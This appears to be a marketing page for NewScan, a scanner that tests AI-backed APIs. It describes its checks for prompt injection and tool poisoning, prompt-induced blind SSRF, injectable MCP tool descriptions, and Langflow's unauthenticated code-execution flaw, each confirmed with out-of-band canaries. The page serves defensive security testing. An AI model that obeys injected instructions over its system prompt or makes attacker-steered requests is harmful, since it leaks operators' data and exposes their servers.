What we test on an AI-backed API
// four surfaces// PROMPT INJECTION & TOOL POISONING
Manipulating what the model reads
We send crafted content through the fields an LLM endpoint consumes and check whether the model obeys attacker instructions over the system prompt — the path to data leaks, unintended tool calls, and jailbreaks. Confirmed by the model's own reply, not a guess.
// BLIND SSRF VIA PROMPTS
Prompts that make the server call out
Assistants that fetch URLs or render links can be steered into requesting an attacker's target. NewScan plants an out-of-band canary in the prompt; a callback to our collaborator is unambiguous proof the server made the request — no false positives.
// MCP SERVERS
Model Context Protocol tooling
MCP servers expose tools an agent can invoke. NewScan enumerates them and tests for prompt-injectable tool descriptions and OOB command injection in tool parameters — callback-confirmed, never a timing guess.
// FRAMEWORK CODE EXECUTION
Agent/flow builders that run code
Low-code AI builders compile and run user-supplied code. NewScan carries named-CVE probes for these — starting with Langflow's unauthenticated code validation (CVE-2025-3248 / CVE-2026-0770).
Why the out-of-band collaborator leads here
// blind, but proven// PRIORITY CONFIRMATION CHANNEL
Most AI-backed-API attacks are blind: the model quietly makes a request, or code runs on the server, and nothing comes back in the HTTP response to prove it. Guessing from timing invites false positives. Instead NewScan mints a unique canary and plants it in the payload — a prompt, an MCP tool argument, or a Python default that a framework will execute. When the target reaches NewNormal Security's hosted collaborator, the token-matched callback is proof the code ran or the request was made. No callback, no finding.
The collaborator is hosted, but nothing about it is required: self-host the same sink and the checks stay fully functional — local stays free. Where a callback can't be used, NewScan falls back to an in-band oracle (e.g. an arithmetic expression whose evaluated result must appear in the response), so a finding is always reproduced, never assumed.
Spotlight: Langflow code-validation RCE
// CVE-2025-3248 · CVE-2026-0770The flaw
Langflow's /api/v1/validate/code endpoint compiles and exec()s posted component code with no authentication. Python smuggled into a function-argument default (or decorator) runs at validation time — unauthenticated remote code execution. CISA added it to the Known Exploited Vulnerabilities catalog; it has been exploited in the wild to drop botnets and steal cloud credentials.
How NewScan proves it — safely
The probe delivers a benign payload in the exact vector shape. Its priority arm makes the server fetch a unique OOB canary (callback = confirmed RCE). With no collaborator configured, it falls back to an arithmetic oracle: only a server that actually evaluated the default returns the product, so a static validator or literal echo can never trip it. Recorded as a critical finding with the reproduction as evidence.
How every finding is recorded
// evidence, not opinion// REPRODUCED FIRST
Every signal is reproduced — a callback or an in-band oracle — before it becomes a finding. Blind means proven, not inferred.
// ONE SEVERITY, EVERY FRAMEWORK
Each finding carries one calibrated severity that maps to your PCI DSS, SOC 2, ISO 27001, HITRUST, HIPAA, and NIST 800-53 risk rating and remediation SLA.
// FULL EVIDENCE TRAIL
The request, the payload, and the callback or reflected result are attached — an assessor-defensible record you can hand to an auditor or a developer.
Point NewScan at your AI-backed API
The full deterministic scan is free and self-hosted, bring-your-own-key. The hosted out-of-band collaborator that confirms the blind classes is optional — self-host it and every check still runs.